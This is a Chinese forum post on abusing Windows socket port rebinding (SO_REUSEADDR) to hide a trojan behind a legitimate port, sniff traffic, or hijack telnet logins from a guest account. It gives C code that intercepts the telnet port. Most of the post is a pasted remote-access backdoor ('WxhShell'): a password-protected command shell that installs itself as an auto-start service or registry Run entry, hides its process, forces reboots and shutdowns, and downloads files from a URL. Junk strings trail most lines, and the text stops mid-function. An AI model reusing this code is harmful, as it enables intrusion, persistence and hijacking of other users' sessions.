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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (PsSE:r}+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q !RVD*(  
}Ke}rM<  
  saddr.sin_family = AF_INET; n3l"L|W^(<  
fcE/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G)tq/`zNw  
hVT=j ?~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /+<%,c$n  
}QWTPRn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FfD ,cDs  
6uCk0 B|  
  这意味着什么?意味着可以进行如下的攻击: 8CnI%_Su  
(Qx-KRH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #5ohmp,u  
mf*9^}l+Zn  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ld!6|~0U  
Eis%)oE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H4y1Hpa,  
R@7GCj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _Y ><ih  
wCq)w=,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G3_mWppH  
XC$+ `?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 * 0&i'0>  
G7/?hky 0.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YzhN|!;!k  
cT>z  
  #include QN}3S0  
  #include d,oOn.n&  
  #include DETajf/<F  
  #include    Ghgv RR$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :i,c<k  
  int main() ktw!T{  
  { !aW*dD61  
  WORD wVersionRequested; B yy-Cc  
  DWORD ret; #hE3~+ i  
  WSADATA wsaData; ,a]~hNR*X  
  BOOL val; jC/JiI  
  SOCKADDR_IN saddr; 5>1Y="B  
  SOCKADDR_IN scaddr; P7>C4rmQ  
  int err; e\ l,gQP  
  SOCKET s; C>\!'^u1  
  SOCKET sc; )(ZPSg$/F  
  int caddsize; >h!.Gj  
  HANDLE mt; wh7a|  
  DWORD tid;   Y^jnlS)h  
  wVersionRequested = MAKEWORD( 2, 2 ); &W!d}, ;  
  err = WSAStartup( wVersionRequested, &wsaData ); F&L?J_=  
  if ( err != 0 ) { /<?X-IDz.{  
  printf("error!WSAStartup failed!\n"); <R~~yW:H  
  return -1; }'.Sn{OWf  
  } 3Ibt'$dK  
  saddr.sin_family = AF_INET; Ay"2W%([`  
   1M~:]}*<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %*Z2Gef?H  
oIL+@}u7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U*R~w5W.[  
  saddr.sin_port = htons(23); G}dOx}kT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &v9PT!R~  
  { pXT$Y8M  
  printf("error!socket failed!\n"); Yq hz(&*)  
  return -1; jVFRqT%  
  } Hj4w i|  
  val = TRUE; agxSb^ 8tF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %]sEt{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .McoW7|Y  
  { %qjyk=z+Z  
  printf("error!setsockopt failed!\n"); #&2N,M!Q  
  return -1; :: 72~'tw  
  } %J ( }D7-,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~lalc ^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ) Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y %D*O  
Hv7D+ j8M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _:=OHURc  
  { ;!Z7-OZX  
  ret=GetLastError(); }`/n2  
  printf("error!bind failed!\n"); KjfKo;T  
  return -1; wZ3 vF)2s  
  } [U7,\o4w  
  listen(s,2); ND9>`I 5  
  while(1) `# M.t);^  
  { yJ`1},^  
  caddsize = sizeof(scaddr); JHh9> .1  
  //接受连接请求 {_X1&&>8/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t?H;iBrpxd  
  if(sc!=INVALID_SOCKET) 79B`w #  
  { u-M$45vct  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "`gZ y)E  
  if(mt==NULL) "JLhOTPaHf  
  { |e; z"-3  
  printf("Thread Creat Failed!\n"); E4aCGg  
  break; ^]!1'xg  
  } GKx,6E#JM  
  } ?gMrcc/{  
  CloseHandle(mt); <9.7gwzE  
  } +ET  
  closesocket(s); M j%|'dZz  
  WSACleanup(); (5DGs_>  
  return 0; U <$xp  
  }   j{-7Pf8A  
  DWORD WINAPI ClientThread(LPVOID lpParam) wOkJ:k   
  { Bsk2&17z  
  SOCKET ss = (SOCKET)lpParam; /(pD^D  
  SOCKET sc; Y~SlipY_  
  unsigned char buf[4096]; d47:2Zj  
  SOCKADDR_IN saddr; )MW}!U9G  
  long num; o@`E.4  
  DWORD val; [qMO7enu#  
  DWORD ret; YeVc,B'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8*~:gZ7:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2bxMIr  
  saddr.sin_family = AF_INET; $M<4Bqr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Fsj&/: q  
  saddr.sin_port = htons(23); v.v%k2;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^JVP2L>o*  
  { bYB}A :  
  printf("error!socket failed!\n"); w:xKgng=L  
  return -1; LU7)F,ok  
  } Ns= b&Uyc  
  val = 100; Y"rV[oe   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s1$#G!'  
  { i/Lq2n3 )  
  ret = GetLastError(); <$2zr4  
  return -1; Jl4XE%0  
  } m`q> _*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xt0j9{p  
  { sq|@9GS0T  
  ret = GetLastError(); \'=}kk`  
  return -1; pyJOEL]1F  
  } =/!S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >$52B9ie  
  { q &6=oss!  
  printf("error!socket connect failed!\n"); >6834e  
  closesocket(sc); ER0#$yFpM  
  closesocket(ss); 2Wf qgR[3  
  return -1; "UnSZ[;t  
  } q0Lt[*q3R  
  while(1) je3n'^m  
  { :!!`!*!JH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `0sk2fn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /l%qq*Ew  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0BE^qe  
  num = recv(ss,buf,4096,0); BQ0PV  
  if(num>0) z9O/MHT[w  
  send(sc,buf,num,0); ?yeC j1X  
  else if(num==0) ;iNx@tz4  
  break; [IA==B7  
  num = recv(sc,buf,4096,0); k 0Yixa  
  if(num>0) 6YGr"Kj &  
  send(ss,buf,num,0); u$p|hd d  
  else if(num==0) (gB=!1/|G  
  break; bXLa~r4\  
  } i3j jPN!  
  closesocket(ss); ',7Z1O  
  closesocket(sc); ;FflEL<7Y  
  return 0 ; =8_TOvSJ4p  
  } y'/9KrV T  
gdNp2b  
Lf M(DK  
========================================================== ;#yz i2f  
$0 zL  
下边附上一个代码,,WXhSHELL ~kT{O!x}4  
cs;Gk:  
========================================================== Vs"Q-?  
\>7-<7+I6  
#include "stdafx.h" ur7a%NH  
|JQKxvjT  
#include <stdio.h> M'7x:Uw;  
#include <string.h> H9!*DA<W  
#include <windows.h> YU(x!<Z  
#include <winsock2.h> dL)5~V8s  
#include <winsvc.h> \Da$bJ  
#include <urlmon.h> 2GS2,  
tRCd(Z,WY  
#pragma comment (lib, "Ws2_32.lib") !W^II>Y  
#pragma comment (lib, "urlmon.lib") bYH_U4b  
>i E  
#define MAX_USER   100 // 最大客户端连接数 x#j_}L!V;  
#define BUF_SOCK   200 // sock buffer ]!w52kF7  
#define KEY_BUFF   255 // 输入 buffer YO+d+5  
t$iU|^'uV  
#define REBOOT     0   // 重启 qChPT:a  
#define SHUTDOWN   1   // 关机 =&GV\ju  
`<G+ N  
#define DEF_PORT   5000 // 监听端口  sOmYQ{R  
Mq?21gW  
#define REG_LEN     16   // 注册表键长度 HjD= .Q  
#define SVC_LEN     80   // NT服务名长度 GssoT<Y)Z  
'9XwUQx  
// 从dll定义API `#F>?g$2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4R6 .GO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rD?o97  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B4=gMVp1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IRB;Q(Z   
uRg^:  
// wxhshell配置信息 u e~1144  
struct WSCFG { {S!~pn&^Y  
  int ws_port;         // 监听端口 5Z{[.&x  
  char ws_passstr[REG_LEN]; // 口令 4esf&-gG  
  int ws_autoins;       // 安装标记, 1=yes 0=no z)Gr`SA<  
  char ws_regname[REG_LEN]; // 注册表键名 QKxu vW  
  char ws_svcname[REG_LEN]; // 服务名 =6:Iv"<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cvt2P}ma#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j^M@0o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UQ y+ &;#5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EIAT*l:NW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k9 E ?5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hQO~9mQ+!  
x($1pAE  
}; @VFg XN  
IU/*YI%W  
// default Wxhshell configuration pQD8#y)`C  
struct WSCFG wscfg={DEF_PORT, mc$dR, H0  
    "xuhuanlingzhe", qSR %#  
    1, E#OKeMK  
    "Wxhshell", @EvnV.  
    "Wxhshell", =`")\?z}  
            "WxhShell Service", IiL?@pIq  
    "Wrsky Windows CmdShell Service", LT!4pD:a  
    "Please Input Your Password: ", q4E{?  
  1, F-t-d1w6  
  "http://www.wrsky.com/wxhshell.exe", G[<iVt$y  
  "Wxhshell.exe" zKZ6Qjd8!  
    }; 7)YU ;  
uG<+IT|x  
// 消息定义模块 Sc(2c.HO*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KW)yTE<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yl*S|= 8;k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uAJC Q)@  
char *msg_ws_ext="\n\rExit."; >13=4S  
char *msg_ws_end="\n\rQuit."; /#HY-b  
char *msg_ws_boot="\n\rReboot..."; > 2$M~to"1  
char *msg_ws_poff="\n\rShutdown..."; CUoMB r  
char *msg_ws_down="\n\rSave to "; !Bd2$y.  
{.sF&(e   
char *msg_ws_err="\n\rErr!"; 6sntwT"?  
char *msg_ws_ok="\n\rOK!"; }'3V(;9  
_ ge3R3  
char ExeFile[MAX_PATH]; = hpX2/]  
int nUser = 0; hFKYRZtP.8  
HANDLE handles[MAX_USER]; M@.1P<:h  
int OsIsNt; 6w54+n  
mu(S 9  
SERVICE_STATUS       serviceStatus; E~24b0<7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c~cYNW:  
5(,WN  
// 函数声明 \Ew2@dF{O  
int Install(void); -7lJ  
int Uninstall(void); 4aGHks8Z,\  
int DownloadFile(char *sURL, SOCKET wsh); |_-FQ~Hf F  
int Boot(int flag); OUD<+i,  
void HideProc(void);  oo2VT  
int GetOsVer(void); 7Y_S%B:F  
int Wxhshell(SOCKET wsl); xi-^_I  
void TalkWithClient(void *cs); R+5x:mpHy  
int CmdShell(SOCKET sock); ^ c:(HUo#  
int StartFromService(void); K,J:i^2  
int StartWxhshell(LPSTR lpCmdLine); yNO5h]o  
-~jM=f$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >Z/,DIn,I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sLCL\dWT  
{&3n{XrF(  
// 数据结构和表定义 iNha<iS+  
SERVICE_TABLE_ENTRY DispatchTable[] = m]V5}-?al  
{ l( "_JI  
{wscfg.ws_svcname, NTServiceMain}, I'C{=?  
{NULL, NULL} 7D4P= $UJp  
}; ?QZ\KY  
#b:8-Lt:M  
// 自我安装 q[r|p"TGov  
int Install(void) .' #_Z.zr  
{ :H6Ipa  
  char svExeFile[MAX_PATH]; C:W}hA!  
  HKEY key; " GgK,d}%  
  strcpy(svExeFile,ExeFile); P#6y  
\6*3&p  
// 如果是win9x系统,修改注册表设为自启动 t(^c]*r~  
if(!OsIsNt) { 9"oc.ue.2D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8LB+}N(8f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J v'$6[?  
  RegCloseKey(key); m>~%. (/x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -k= 02?0p+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CpO!xj +  
  RegCloseKey(key); nxCwg>  
  return 0; EG2NE,,r  
    } yX?& K}JI  
  } e!Y:UB2 7u  
} Ydh]EO0'  
else { <T{PuS1<o  
l$z\8]x  
// 如果是NT以上系统,安装为系统服务 ,i e84o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9PIm/10pP^  
if (schSCManager!=0) s7#w5fe  
{ x)h5W+$  
  SC_HANDLE schService = CreateService # KK>D?.:  
  ( )k{zRq:d  
  schSCManager, Yu`b[]W  
  wscfg.ws_svcname, lt[{u$  
  wscfg.ws_svcdisp, G ,An8GR%&  
  SERVICE_ALL_ACCESS, H"6Sj-<=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d\+smED  
  SERVICE_AUTO_START, t?iCq1  
  SERVICE_ERROR_NORMAL, x~rIr#o  
  svExeFile, "JT R5;`w  
  NULL, lZ'-?xo  
  NULL, );'8*e'  
  NULL, ^ 1}_VB)^  
  NULL, 0ZlF#PJA  
  NULL Tj$D:xKf)  
  ); a 39Kl_\  
  if (schService!=0) Ol"*(ea-TX  
  { HNu/b)-Rb  
  CloseServiceHandle(schService); <H::{  
  CloseServiceHandle(schSCManager); 9X/c%:)\=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LzEs_B=9  
  strcat(svExeFile,wscfg.ws_svcname); 9l5l"Wj&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |t5K!?{i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0.Pd,L(  
  RegCloseKey(key); /:iO:g1  
  return 0; <E[X-S%&  
    } ,Y6Me+5B  
  } M#c.(QdF  
  CloseServiceHandle(schSCManager); pj4M|'F7  
} n.Iu|,?q  
} p)NhV  
*_ {w0U)  
return 1; S7vT=  
} }D-h=,];  
 Gqvj  
// 自我卸载 R/&Bze  
int Uninstall(void) R] L|&{   
{ `'H"|WsT  
  HKEY key; #0V$KC*>  
F$T@OT6  
if(!OsIsNt) { AX! YB'm-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l( /yaZ`  
  RegDeleteValue(key,wscfg.ws_regname); zBg>I=hiG  
  RegCloseKey(key); KAH9?zI)M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i'aV=E5  
  RegDeleteValue(key,wscfg.ws_regname); Uv?s<  
  RegCloseKey(key); `&xo;Vnc  
  return 0; u?6L.^Op  
  } JFf*v6:,  
} 0 UdAF  
} 6fV%[.RR  
else { 3}V`]B#a  
QhUv(]0   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r^3/Ltd5/  
if (schSCManager!=0)  JsAl;w  
{ OW!cydA-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f6@fi`U ,  
  if (schService!=0) Qvo(2(  
  {  &0! f_  
  if(DeleteService(schService)!=0) { t-7^deG'/n  
  CloseServiceHandle(schService); #~<cp)!3  
  CloseServiceHandle(schSCManager); /3`#ldb%}  
  return 0; rK 9  
  } C":i56  
  CloseServiceHandle(schService); owHV&(Go(B  
  } 7 $AEh+f  
  CloseServiceHandle(schSCManager); xDv5'IGBb  
} "#Ov!t  
} y\ Su!?4!  
c 4Q{  
return 1; G=?2{c}U  
} n-iy;L^b  
{KkP"j'7h  
// 从指定url下载文件 ti6\~SY  
int DownloadFile(char *sURL, SOCKET wsh) sDNV_} h  
{ IoUQ~JviA  
  HRESULT hr; =D88jkQe"  
char seps[]= "/"; wV\;,(<x=%  
char *token; yO}RkRA  
char *file; f`Km ctI  
char myURL[MAX_PATH]; ;:(kVdb  
char myFILE[MAX_PATH]; l-|hvv5g  
Bc1[^{`bq^  
strcpy(myURL,sURL); s>y=-7:N  
  token=strtok(myURL,seps); 29eg.E  
  while(token!=NULL) P%HvL4R  
  { 2(SK}<X  
    file=token; w D|p'N  
  token=strtok(NULL,seps); "XQj ~L  
  } Bqo8G->  
a3}#lY):  
GetCurrentDirectory(MAX_PATH,myFILE); XP#j9CF#.  
strcat(myFILE, "\\"); [Y@?l]&  
strcat(myFILE, file); Cm)_xnv  
  send(wsh,myFILE,strlen(myFILE),0); #XSs.i{  
send(wsh,"...",3,0); F!v`._]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3a#X:?  
  if(hr==S_OK) r8PXdNg  
return 0; o)w8 ]H /  
else 2Eq?^ )s  
return 1; Yr9>ATR  
~`J/618  
} T(UdV]~]"  
aDJ\%  
// 系统电源模块 ;Y:_}kN8_  
int Boot(int flag) Yt^<^l77D  
{ ]7H ?  
  HANDLE hToken; Rx';P/F0C  
  TOKEN_PRIVILEGES tkp; j1{ @?  
|Ld/{&Qr  
  if(OsIsNt) { K(*QhKX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i1ph{;C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %<^B\|d'?  
    tkp.PrivilegeCount = 1; DK2m(9/`3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pz'l9Gp;@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8<cD+Jtj  
if(flag==REBOOT) { I%dFVt@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FmU>q)  
  return 0; e;LJdd  
} wSrq?U5q  
else { A0L&p(i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :Ja]Vt  
  return 0; YS$?Wz  
} 1Ql\aO)  
  } lTNfTO^  
  else { V{51wnxT  
if(flag==REBOOT) { d'1 L#`?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [Xy^M3  
  return 0; F"7dN*7  
} XS!mtd<q  
else { jI`1>>N&1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &?.k-:iN  
  return 0; eK }AVz}k  
} t?[|oz:v  
} JXR_klx  
99T_y`df  
return 1; n}8J-/(|+  
} MGUzvSf  
/mELnJ^  
// win9x进程隐藏模块 r[P5 ufy2]  
void HideProc(void) >eHSbQu/Bu  
{ XqD/~_z;  
9S"c-"y\#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {Vz.| a[T  
  if ( hKernel != NULL ) -Fcg}\9  
  { z6B(}(D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7%aaqQ1T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B1]5%B  
    FreeLibrary(hKernel); EC6&#)g;CO  
  } bv&A)h"S  
} $:uN  
return; FU-YI"  
} n[zP}YRr  
chjXsq#Q^  
// 获取操作系统版本 y=!"++T]B<  
int GetOsVer(void) ]<z4p'F1%  
{ PCl@Ff  
  OSVERSIONINFO winfo; B7"/K]dR:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L%,tc~)A  
  GetVersionEx(&winfo); Y)@mL~){  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :[#g_*G@p  
  return 1; +dWx?$n  
  else ; z_ZZ(W  
  return 0; l#P)9$%  
} w_30g6tA  
-!E))|A  
// 客户端句柄模块 _akC^h T  
int Wxhshell(SOCKET wsl) qx0RCP /s  
{ J(*QtF  
  SOCKET wsh; \VL[,z=q.  
  struct sockaddr_in client; sjOyg!e  
  DWORD myID; J[ 9yQ  
G{*m] 0Q  
  while(nUser<MAX_USER) <1tFwC|4BJ  
{ 4&r+K`C0  
  int nSize=sizeof(client); !a&@y#x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h>v;1Q O9D  
  if(wsh==INVALID_SOCKET) return 1; Lq@pJ)a  
1 h(oty2p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JZ6{W  
if(handles[nUser]==0) 41luFtE9  
  closesocket(wsh); ~YO-GX(  
else a`5ODW+  
  nUser++; xEBiBsk d  
  } b#h?O}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iTTe`Zr5y  
f(.@]eu X  
  return 0; T.kmoLlH  
} T1bPI/  
.uzg2Kd_  
// 关闭 socket ;2"#X2B  
void CloseIt(SOCKET wsh) %FnaS u  
{ 7 }`c:u~j  
closesocket(wsh); D*+uH;ws  
nUser--; %=x|.e@J  
ExitThread(0); g ]|K@sm  
} =G9%Hz5~:  
j`I[M6Qxh  
// 客户端请求句柄 0;z-I"N  
void TalkWithClient(void *cs) t ?8 ?Ok  
{ @xR7>-$0p  
o)'u%m  
  SOCKET wsh=(SOCKET)cs; #*uSYGdc  
  char pwd[SVC_LEN]; `<IT LT  
  char cmd[KEY_BUFF]; 5T,Doxo  
char chr[1]; $,ev <4I&  
int i,j; lyiBRMiP|  
?(GMe>  
  while (nUser < MAX_USER) { "'H$YhY]  
!=C4=xv  
if(wscfg.ws_passstr) { X1U7$/t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \&\_[y8U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p D!IB`cA4  
  //ZeroMemory(pwd,KEY_BUFF); <apsG7(7  
      i=0; h: :'s&|  
  while(i<SVC_LEN) { 24{!j[,q@  
7"F w8;k  
  // 设置超时 \Ku=a{Ne  
  fd_set FdRead; !!&H'XEJV  
  struct timeval TimeOut; CBx1.xL  
  FD_ZERO(&FdRead); 3 #R~>c2  
  FD_SET(wsh,&FdRead); e#Jx|Ej=  
  TimeOut.tv_sec=8; Tz.!  
  TimeOut.tv_usec=0; ey<u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X0 &1ICZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \&]M \  
[0CoQ5:d?&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x8%Q TTY  
  pwd=chr[0]; ^7v}wpwX\  
  if(chr[0]==0xd || chr[0]==0xa) { j Efrxlj  
  pwd=0; >XP]NY}Po[  
  break; a$Eqe_  
  } 1\q(xka{  
  i++; `*e',j2}UU  
    } & Sy0Of  
k:PO"<-U  
  // 如果是非法用户,关闭 socket ?H1I,]Di  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o:#l r{  
} F.c`0u;=  
XG ]yfux`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d.tjLeY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ug[|'tR8  
BZEY^G  
while(1) { tu6oa[s  
CF9a~^+%  
  ZeroMemory(cmd,KEY_BUFF); o%h"gbvMY!  
a*hOT_;#  
      // 自动支持客户端 telnet标准   q a#Fa)g*  
  j=0; s<'^ @Y  
  while(j<KEY_BUFF) { Cl[ '6Lk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T+NEw8C?/  
  cmd[j]=chr[0]; Z `O.JE  
  if(chr[0]==0xa || chr[0]==0xd) { I<|)uK7  
  cmd[j]=0; 1B= vrGq  
  break; ;%2/  
  } w/KHS#~  
  j++; &0SGAJlec  
    } M_+&XLnzsJ  
G40,KCa  
  // 下载文件 <`5>;Xn=  
  if(strstr(cmd,"http://")) { cyA|6Ltg%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EHkb{Q8  
  if(DownloadFile(cmd,wsh)) m9ts&b+TE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HxAq& J;xu  
  else UBqA[9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xB3;%Lc  
  } soW.  
  else { Mcc774'*9  
G U~?S'{  
    switch(cmd[0]) { UevbLt1Y  
  *D #H-]9  
  // 帮助 K`* 8 *k{  
  case '?': { VYTdK"%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |xQG  
    break; sY7:Lzs.,  
  } l"RX`N@In  
  // 安装 " jn@S-  
  case 'i': { 0vmMNF  
    if(Install()) >4}+\ Q`S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |TF,Aj   
    else LdI)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B<DvH"+$  
    break; VE4!=4  
    } bB3Mpaw@  
  // 卸载 -'BJhi\Y]~  
  case 'r': { suj? e6  
    if(Uninstall()) 15VOQE5Fl`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[`!\vCiZ  
    else f<9H#S:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g[*+R9'  
    break; VF!?B>  
    } 'Fo*h6=  
  // 显示 wxhshell 所在路径 4pV.R5:  
  case 'p': { +`kfcA#pi  
    char svExeFile[MAX_PATH]; jIK *psaV  
    strcpy(svExeFile,"\n\r"); |@]J*Kh  
      strcat(svExeFile,ExeFile); gC;y>YGP  
        send(wsh,svExeFile,strlen(svExeFile),0); ?;,s=2  
    break; 6AqHzeh  
    } \ lP c,8)  
  // 重启 "@W0Lk[  
  case 'b': { d{hb gUSj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ldrKk'S,B  
    if(Boot(REBOOT)) Dk&cIZ43  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vi23pDZ5  
    else { uTA /E9OY  
    closesocket(wsh); ~IZ'zuc  
    ExitThread(0); Y4 ){{bEp  
    } Wd_bDZQ  
    break; Vky~yTL)\  
    } {#: js  
  // 关机 wg^#S  
  case 'd': { Q7&Yy25   
